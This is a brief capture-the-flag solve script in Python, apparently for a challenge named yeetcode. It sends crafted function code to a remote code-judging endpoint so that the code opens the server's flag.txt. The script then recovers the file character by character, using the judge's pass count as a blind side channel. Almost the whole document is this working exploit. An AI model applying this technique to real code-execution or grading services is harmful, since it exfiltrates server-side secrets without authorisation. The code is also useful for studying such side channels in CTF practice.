Code solve challenge.

import requests

alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&?@^_}{~"
url = "https://yeetcode.be.ax/yeetyeet"

flag = ""
for location in range(0,40):
    for character in alpha:
        payload = """def f(a,b):
  fz = open("./flag.txt","r").read()
  if fz[{0}] == '{1}':
    return a + b""".format(location,character)
        r = requests.post(url,data=payload.encode('utf-8'),headers={'Content-type': 'text/plain; charset=utf-8'})
        passed = (r.json())["p"]
        if passed == 10:
            flag += character
            print (flag)
            break
            ```